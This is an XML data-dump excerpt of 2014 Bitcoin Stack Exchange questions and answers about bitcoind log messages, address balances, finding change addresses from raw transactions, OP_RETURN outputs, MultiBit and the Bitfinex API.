  <row Id="28171" PostTypeId="2" ParentId="17549" CreationDate="2014-06-27T07:06:23.233" Score="0" Body="&lt;p&gt;Yes you can use &lt;a href=&quot;http://expco.in/a8&quot; rel=&quot;nofollow&quot;&gt;expresscoin&lt;/a&gt;. we provide fast and easy way to buy litecoin and other digital currencies.&lt;/p&gt;&#xA;" OwnerUserId="18385" LastActivityDate="2014-06-27T07:06:23.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28172" PostTypeId="2" ParentId="9883" CreationDate="2014-06-27T07:11:11.270" Score="0" Body="&lt;p&gt;Right now the it's still hard to buy everything using bitcoin, but you can use bitcoin to buy gift cards from &lt;a href=&quot;http://www.gyft.com&quot; rel=&quot;nofollow&quot;&gt;gyft&lt;/a&gt; and use it at many places.&lt;/p&gt;&#xA;" OwnerUserId="18386" LastActivityDate="2014-06-27T07:11:11.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28173" PostTypeId="1" AcceptedAnswerId="28174" CreationDate="2014-06-27T13:02:09.420" Score="5" ViewCount="4621" Body="&lt;p&gt;Example the debug log:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;2014-06-27 12:59:10 UpdateTip: new best=00000000000000002a03b175f183c3bbc440f5c2a171e958bfd504582f711f70  height=308004  log2_work=79.405055  tx=41447698  date=2014-06-27 00:04:17 progress=0.998105&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There could be dozens of those. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever bitcoin is doing with this 'UpdateTip', it seems very CPU consuming. So what is going on, and is there any way to skip this/make it less CPU intense?&lt;/p&gt;&#xA;" OwnerUserId="13827" LastEditorUserId="5406" LastEditDate="2017-06-17T23:35:06.557" LastActivityDate="2017-06-17T23:35:06.557" Title="What does UpdateTip mean?" Tags="|bitcoind|synchronization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28174" PostTypeId="2" ParentId="28173" CreationDate="2014-06-27T13:18:26.267" Score="6" Body="&lt;p&gt;In an earlier Version of bitcoin-qt the line was the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SetBestChain: new best=0000000000000419f719  height=212580  work=666804971104474944731&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=136628.0&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=136628.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In the log messages, new best is the start of the hash of the block&#xA;  that it considers to be the head of the best chain, height is the&#xA;  length of the path through the tree, and work is the sum of the work&#xA;  embedded in that path.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It basically means that your client received a new best blockchain, so a new block was found. You can compare those log entries, they will allways increase in height and its always followed by &lt;code&gt;ProcessBlock: ACCEPTED&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why this is CPU intense for you, i didn't recognized this at my client yet. There is no way to remove this function because its a fundamental one of bitcoin-qt client and the bitcoin protocol. Also making it less CPU intense can only be done by changing the source of the client.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-06-27T13:18:26.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28176" PostTypeId="2" ParentId="28086" CreationDate="2014-06-27T17:59:29.800" Score="3" Body="&lt;p&gt;BitPenny seems to be half the solution - it has centralized control, but its clients can verify it behaves nicely in some sense. But it still has central management. A 51% pool can pull off subtle attacks that aren't prevented by BitPenny. For example, it can prune competitors' blocks, which is not always detectable due to the network latency. It can also block certain transactions or all of them. See &lt;a href=&quot;http://hackingdistributed.com/2014/06/18/how-to-disincentivize-large-bitcoin-mining-pools/&quot; rel=&quot;nofollow&quot;&gt;this Hacking Distributed post&lt;/a&gt; for more details. BitPenny won't always detect this behavior. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P2pool is the full solution - it is a truly decentralized mining pool with no central control. There is no entity that can wield its power to do anything other than honest mining. &lt;/p&gt;&#xA;" OwnerUserId="3806" LastActivityDate="2014-06-27T17:59:29.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28177" PostTypeId="1" AcceptedAnswerId="28185" CreationDate="2014-06-27T21:00:29.110" Score="2" ViewCount="4159" Body="&lt;p&gt;How can i get balance of bitcoin address not exist in my wallet ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to use bitcoin-Abe but it is complicated and take seral days to full database with blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there exists other tools like bitcoin-Abe but easy and fast to parse blockchain, i want from parse blcokchain to get balance and transactions of bitcoin address ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does armory contain any facility to parse blockchain or get balance of any address and it's transactions ?&lt;/p&gt;&#xA;" OwnerUserId="13349" LastActivityDate="2015-12-25T09:56:58.680" Title="How can i get balance of bitcoin address not exist in my wallet?" Tags="|bitcoind|bitcoin-core|armory|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28178" PostTypeId="2" ParentId="28177" CreationDate="2014-06-27T21:44:38.963" Score="0" Body="&lt;p&gt;Your wallet implementation is programmed to compute only the balance of the addresses you own. Remember that the concept of a &quot;balance&quot; is really just the sum of the values of the unspent transaction outputs (UTXOs). The original client however does not have the function to perform this computation on any given address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means you're either stuck using 3rd-party services like Blockchain.info, or simply the more cumbersome tools like bitcoin-abe you mentioned.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-06-27T21:44:38.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28180" PostTypeId="2" ParentId="25786" CreationDate="2014-06-27T23:32:32.500" Score="0" Body="&lt;p&gt;I have a workaround so I can keep using MultiBit, that is, a script that hides the wallet when I'm not using it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;mv ~/.MultiBit ~/MultiBit&#xA;java -jar /usr/local/MultiBit-0.5.18/multibit-exe.jar&#xA;mv ~/MultiBit ~/.MultiBit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rough, and not a solution, but I'm pretty happy with it.&lt;/p&gt;&#xA;" OwnerUserId="17093" LastActivityDate="2014-06-27T23:32:32.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28181" PostTypeId="1" AcceptedAnswerId="28193" CreationDate="2014-06-28T00:22:49.953" Score="4" ViewCount="137" Body="&lt;p&gt;Today &lt;a href=&quot;https://twitter.com/gavinandresen/status/482544093696753664&quot; rel=&quot;nofollow&quot;&gt;Gavin tweeted&lt;/a&gt; that he's relaxing the &lt;code&gt;IsStandard&lt;/code&gt; rules for pay-to-script-hash transactions to allow any transaction with 15 or less operations. (&lt;a href=&quot;https://github.com/gavinandresen/bitcoin-git/commit/7f3b4e95695d50a4970e6eb91faa956ab276f161&quot; rel=&quot;nofollow&quot;&gt;Full git commit here&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this is merged and widely used, what new types of transactions become possible?&lt;/p&gt;&#xA;" OwnerUserId="14885" LastActivityDate="2014-06-28T14:54:05.230" Title="What new transactions are possible with 15 operations?" Tags="|transactions|script|p2sh|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28182" PostTypeId="1" AcceptedAnswerId="28190" CreationDate="2014-06-28T04:02:13.037" Score="6" ViewCount="7670" Body="&lt;p&gt;Suppose I'm making a service like SatoshiDice and when I receive a transaction I want to give some money back. Where can I find the sender address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I run this, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli gettransaction 8386a8d2870c0df79f652ef4d981b21649ebf40601948c1c0709de0f02de8c8c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;amount&quot; : -0.00750000,&#xA;    &quot;fee&quot; : -0.00050000,&#xA;    &quot;confirmations&quot; : 10130,&#xA;    &quot;blockhash&quot; : &quot;00000000000000002b44cdc1b2fe4ec2aa6b31b25ae8eedc8d1ef16799bd3114&quot;,&#xA;    &quot;blockindex&quot; : 13,&#xA;    &quot;blocktime&quot; : 1398584440,&#xA;    &quot;txid&quot; : &quot;8386a8d2870c0df79f652ef4d981b21649ebf40601948c1c0709de0f02de8c8c&quot;,&#xA;    &quot;walletconflicts&quot; : [&#xA;    ],&#xA;    &quot;time&quot; : 1398584248,&#xA;    &quot;timereceived&quot; : 1398584248,&#xA;    &quot;details&quot; : [&#xA;        {&#xA;            &quot;account&quot; : &quot;&quot;,&#xA;            &quot;address&quot; : &quot;1Gxua3AptLgz1DWbG38dakLP4DVY2Jia4d&quot;,&#xA;            &quot;category&quot; : &quot;send&quot;,&#xA;            &quot;amount&quot; : -0.00750000,&#xA;            &quot;fee&quot; : -0.00050000&#xA;        }&#xA;    ],&#xA;    &quot;hex&quot; : &quot;01000000013c75459d163a5343725362a5b412dde392784814ec04c4e77df7ee5edbd10352010000006a47304402200ee65c9f757eb6c240efe5a7e4427e04174a32da14b1eef459d36d61d031f6e702202d6b5383f86f155d92a494e80a1242af7e160faf16d597ea457b6e3bf08bb1ca012102be7759e73363488269f0257158177f3295af42d1f3a6b2fdf8fb4380b1d16ae9ffffffff0250c30000000000001976a9144233e899673c755c11664d43d0a83a56d06ce23188acb0710b00000000001976a914af1ca5c63970b893a4ef79d030b28ca91ccd22ce88ac00000000&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can find the address I am looking for in &lt;code&gt;details -&amp;gt; address&lt;/code&gt;. But is this the right place to look? The details array can be empty or have more than one element?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are two similar questions already: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3896/how-to-findout-the-sender-of-a-transaction&quot;&gt;How to findout the sender of a transaction&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2667/whats-the-best-way-for-a-website-to-detect-payments-from-green-addresses&quot;&gt;What&amp;#39;s the best way for a website to detect payments from green addresses?&lt;/a&gt; but the problem is that theses questions don't explain if I can use gettransaction securely to find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the answer tip, I was able to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli decoderawtransaction &quot;01000000013c75459d163a5343725362a5b412dde392784814ec04c4e77df7ee5edbd10352010000006a47304402200ee65c9f757eb6c240efe5a7e4427e04174a32da14b1eef459d36d61d031f6e702202d6b5383f86f155d92a494e80a1242af7e160faf16d597ea457b6e3bf08bb1ca012102be7759e73363488269f0257158177f3295af42d1f3a6b2fdf8fb4380b1d16ae9ffffffff0250c30000000000001976a9144233e899673c755c11664d43d0a83a56d06ce23188acb0710b00000000001976a914af1ca5c63970b893a4ef79d030b28ca91ccd22ce88ac00000000&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which produces:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;txid&quot; : &quot;8386a8d2870c0df79f652ef4d981b21649ebf40601948c1c0709de0f02de8c8c&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;5203d1db5eeef77de7c404ec14487892e3dd12b4a562537243533a169d45753c&quot;,&#xA;            &quot;vout&quot; : 1,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;304402200ee65c9f757eb6c240efe5a7e4427e04174a32da14b1eef459d36d61d031f6e702202d6b5383f86f155d92a494e80a1242af7e160faf16d597ea457b6e3bf08bb1ca01 02be7759e73363488269f0257158177f3295af42d1f3a6b2fdf8fb4380b1d16ae9&quot;,&#xA;                &quot;hex&quot; : &quot;47304402200ee65c9f757eb6c240efe5a7e4427e04174a32da14b1eef459d36d61d031f6e702202d6b5383f86f155d92a494e80a1242af7e160faf16d597ea457b6e3bf08bb1ca012102be7759e73363488269f0257158177f3295af42d1f3a6b2fdf8fb4380b1d16ae9&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 0.00050000,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 4233e899673c755c11664d43d0a83a56d06ce231 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a9144233e899673c755c11664d43d0a83a56d06ce23188ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;1733nLJx6QrYa7AemEHXgq89G2NaWjPpRW&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 0.00750000,&#xA;            &quot;n&quot; : 1,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 af1ca5c63970b893a4ef79d030b28ca91ccd22ce OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a914af1ca5c63970b893a4ef79d030b28ca91ccd22ce88ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;1Gxua3AptLgz1DWbG38dakLP4DVY2Jia4d&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This let's me find the change address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But can I skip these steps and take it from &quot;details&quot;?&lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2022-01-23T23:12:07.243" Title="How to find the change / sender address given a txid?" Tags="|bitcoind|change|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28183" PostTypeId="1" AcceptedAnswerId="30744" CreationDate="2014-06-28T04:06:41.423" Score="3" ViewCount="554" Body="&lt;p&gt;This question is almost the opposite of &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/28182/how-to-find-the-change-sender-address-given-a-txid&quot;&gt;How to find the change / sender address given a txid?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am making a transaction using &lt;code&gt;createrawtransaction&lt;/code&gt; how can I define the change (sender) address?&lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="5406" LastEditDate="2023-08-28T14:49:35.930" LastActivityDate="2023-08-28T14:49:35.930" Title="How can I define the change address of a transaction using createrawtransaction?" Tags="|bitcoind|raw-transaction|change|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28185" PostTypeId="2" ParentId="28177" CreationDate="2014-06-28T06:50:57.643" Score="0" Body="&lt;p&gt;There are multiple online Services which can do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Example &lt;a href=&quot;http://blockchain.info/api/blockchain_api&quot; rel=&quot;nofollow&quot;&gt;Blochain.info&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/address/12sENwECeRSmTeDwyLNqwh47JistZqFmW8?format=json&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/address/12sENwECeRSmTeDwyLNqwh47JistZqFmW8?format=json&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There you get a field called final_balance and all transactions for this bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you dont need so many information you can use this &lt;a href=&quot;http://blockchain.info/q&quot; rel=&quot;nofollow&quot;&gt;Query API&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/q/addressbalance/12sENwECeRSmTeDwyLNqwh47JistZqFmW8&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/q/addressbalance/12sENwECeRSmTeDwyLNqwh47JistZqFmW8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you will get only a number as return value which represents the amout of bitcoin in satoshi for this address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example is &lt;a href=&quot;https://support.biteasy.com/kb/rest-api/getting-started&quot; rel=&quot;nofollow&quot;&gt;biteasy.com's REST-API&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.biteasy.com/blockchain/v1/addresses/12sENwECeRSmTeDwyLNqwh47JistZqFmW8&quot; rel=&quot;nofollow&quot;&gt;https://api.biteasy.com/blockchain/v1/addresses/12sENwECeRSmTeDwyLNqwh47JistZqFmW8&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="17113" LastEditDate="2014-06-28T12:24:51.727" LastActivityDate="2014-06-28T12:24:51.727" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28186" PostTypeId="1" CreationDate="2014-06-28T09:34:53.280" Score="4" ViewCount="1511" Body="&lt;p&gt;Can someone give more information on that type of transaction? Why is it useful for the network. Can it be claimed since it has OP_RETURN command?&lt;/p&gt;&#xA;" OwnerUserId="10246" LastActivityDate="2014-09-26T12:16:38.947" Title="Nulldata transaction information" Tags="|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28187" PostTypeId="2" ParentId="28186" CreationDate="2014-06-28T09:48:41.490" Score="3" Body="&lt;p&gt;From he official &lt;a href=&quot;https://bitcoin.org/en/developer-guide#standard-transactions&quot; rel=&quot;nofollow&quot;&gt;Developer Guide&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Null data scripts let you add a small amount of arbitrary data to the&#xA;  block chain in exchange for paying a transaction fee, but doing so is&#xA;  discouraged. (Null data is a standard script type only because some&#xA;  people were adding data to the block chain in more harmful ways.)&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;script: OP_RETURN &amp;lt;data&gt; &lt;br&gt;(Null data scripts cannot be spent, so there's no scriptSig)&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Another &lt;a href=&quot;http://bitcoinhistory.net/Technical_Papers/ProgrammingBitcoinTransactionScripts.pdf&quot; rel=&quot;nofollow&quot;&gt;information&lt;/a&gt; (which is related to your example):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This pattern is often used to encode data in the blockchain. After the OP_RETURN you can&#xA;  insert arbitrary data. The advantage is that the simple bitcoin nodes can prune the transaction&#xA;  saving memory, while full nodes will hold it. This is considered good behavior when&#xA;  ‘misusing’ the blockchain for storing data.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you can see in your example there are data following the OP_RETURN so it was used to encode data into the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="17113" LastEditDate="2014-06-28T09:53:47.397" LastActivityDate="2014-06-28T09:53:47.397" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28189" PostTypeId="1" CreationDate="2014-06-28T11:41:49.167" Score="2" ViewCount="788" Body="&lt;p&gt;My transaction already has 24 confirmations at blockchain.info, and the transaction is correctly recorded in Multibit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is no &quot;spendable amount&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already &quot;Reset Blockchain And Transactions&quot;, but to now avail.  I've closed MultiBit and restarted, to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure I've have connections (or else the transaction wouldn't have recorded), but I don't know about how to check how many nodes Multibit is connected to, or where to find out, or what to do about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to BitCoin, so I'm here to learn . . .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something else I should be doing?&lt;/p&gt;&#xA;" OwnerUserId="18396" LastActivityDate="2014-06-28T16:09:33.197" Title="How long should confirmation (spendable amount) take?" Tags="|transactions|multibit|confirmations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28190" PostTypeId="2" ParentId="28182" CreationDate="2014-06-28T12:16:55.953" Score="4" Body="&lt;p&gt;Bitcoin may use multiple outputs from different addresses to fund the transaction. It will always be impossible to predict what the user is doing, for example, they could be using CoinJoin and the actual sender could be any of the inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also remember that services like SatoshiDice causes huge network strain and is preferred to use a deposit address and have the user specify an address to withdraw. It solves both network strain and your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, never assume that a certain output is the change address. The user could be doing anything (like sending the rest to someone else).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Downvoting both mine and David Schwartz's answer doesn't help anything. It is just not possible to anticipate every use-case. In the words of the Satoshi client developers; &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/3802#issuecomment-36845913&quot; rel=&quot;nofollow&quot;&gt;&quot;Sometimes a documentation limit is a feature, not a bug&quot;&lt;/a&gt;. The important point there is that if you have to ask then maybe giving you the answer will cause more harm than good. The only ways to do this are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Try to guess the change address.&lt;/strong&gt; If there are two outputs you could use the one that isn't yours. If the sender has an exact output then you might not even get a second output. If there are &gt;2 outputs you might use the last one but that makes a ton of assumptions and any wallet that even cares about privacy will randomise the outputs.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Try to guess the sending address.&lt;/strong&gt; If there is one sending address you could use that, in the case of more than one, it's anyone's guess (maybe use the top one?).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Noone can answer the question any more than that. Even my answer is just made up, it is not allocated for using the protocol and is just a guess based on how &lt;strong&gt;some&lt;/strong&gt; wallet software works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I can't recommend against this enough though. It is extremely dangerous. SatoshiDice is not recommended by anyone who knows anything about how Bitcoin works, it is simply popular because it was one of the first, if not the first Bitcoin betting site.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="6990" LastEditorUserId="6990" LastEditDate="2014-07-01T05:55:25.740" LastActivityDate="2014-07-01T05:55:25.740" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28192" PostTypeId="1" CreationDate="2014-06-28T12:50:31.450" Score="1" ViewCount="1723" Body="&lt;p&gt;I started writing code for the Bitfinex api yesterday and I've been struggling quite a lot with this.&#xA;I am using jndok's &lt;a href=&quot;http://jndok.net/bitfinexapi.html&quot; rel=&quot;nofollow&quot;&gt;python implementation&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added my pyblic and secret keys and wrote this line of code at the end with python 2.7 on Windows 8:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rep = place_order(0.001, 589.0, 'sell', 'limit', exchange='bitfinex')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I thought that would do it but the reply I get 'Key amount should be a decimal string' and the order is not placed.&#xA;I also tried to print the reply code I get from the server and it is 400.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be resolved?&lt;/p&gt;&#xA;" OwnerUserId="18399" LastEditorDisplayName="user5107" LastEditDate="2014-06-29T06:54:44.240" LastActivityDate="2014-06-29T06:54:44.240" Title="API Bitfinex question: &quot;key amount should be a decimal string&quot;?" Tags="|api|exchange-order|bitfinex|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28193" PostTypeId="2" ParentId="28181" CreationDate="2014-06-28T14:54:05.230" Score="4" Body="&lt;p&gt;It's not exactly &quot;15 operations&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin address is not really a public key, but a special script that is built from &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;special commands&lt;/a&gt;. From those commands you could build really weird transactions, for example the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=293382.0&quot; rel=&quot;nofollow&quot;&gt;ones mentioned here&lt;/a&gt;, that lock funds on an address that can be accessed only if someone manages to break SHA2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up until now the miners treated anything besides the basic four or so script kinds as non-standard. It meant that you could add them to the blockchain (because they are valid), but only if you mine them yourself, or convince one of the pools to add them to the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to the relaxed rules, you will be able to create transactions that are redeemable by almost any script built from commands listed here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Script&lt;/a&gt; . As long as they don't contain more than 15 signature checks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest potential use case for this is probably in oracles / smart contracts, as explained in Gavin's &lt;a href=&quot;http://gavintech.blogspot.com/2014/06/bit-thereum.html&quot; rel=&quot;nofollow&quot;&gt;bit-thereum&lt;/a&gt; post. Our project - Orisi / Distributed Oracles is right now the only practical implementation of this concept, and it's described in detail in our white paper ( &lt;a href=&quot;https://github.com/orisi/wiki/wiki/Orisi-White-Paper&quot; rel=&quot;nofollow&quot;&gt;https://github.com/orisi/wiki/wiki/Orisi-White-Paper&lt;/a&gt; ). We may be using the extended scripts to perform a 1+M of N multisig check - that is to require a signature of both the transaction sender, and M of N oracles protecting the transaciton. If this explaination is not clear enough, you might want to check &lt;a href=&quot;http://orisi.org/&quot; rel=&quot;nofollow&quot;&gt;our website&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, as for this functionality's ETA - it might appear in the next minor update, but that will happen probably in a few months time.&lt;/p&gt;&#xA;" OwnerUserId="17060" LastActivityDate="2014-06-28T14:54:05.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28194" PostTypeId="2" ParentId="28108" CreationDate="2014-06-28T16:00:20.247" Score="13" Body="&lt;p&gt;I've got &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/29bamh/source_of_satoshis_final_statement/cij9m83&quot; rel=&quot;noreferrer&quot;&gt;an answer on Reddit&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's likely to have been written in a &lt;a href=&quot;https://en.wikipedia.org/wiki/Personal_message&quot; rel=&quot;noreferrer&quot;&gt;PM&lt;/a&gt; or an email to some developers, and it seems that Mike Hearn (BitcoinJ) was the one who published this statement:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Mike Hearn - February 25, 2013, 12:48:54 PM&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;He communicated with a few of the core developers before leaving. He&#xA;  told myself and Gavin that he had moved on to other things and that&#xA;  the project was in good hands.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;em&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=145850.msg1558053#msg1558053&quot; rel=&quot;noreferrer&quot;&gt;Re: Could Satoshi come back and tell us what he/her thinks about the block size?&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, if someone has additional information I would be glad to know about.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="1405" LastEditDate="2014-08-31T05:39:50.600" LastActivityDate="2014-08-31T05:39:50.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28195" PostTypeId="2" ParentId="28189" CreationDate="2014-06-28T16:09:33.197" Score="1" Body="&lt;p&gt;If you do not see the balance row with 'Spendable' appearing, it is because ALL your bitcoin is spendable. The row is just made invisible in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's only shown when the total is different (normally when you have incoming bitcoin that hasn't confirmed yet)&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-06-28T16:09:33.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
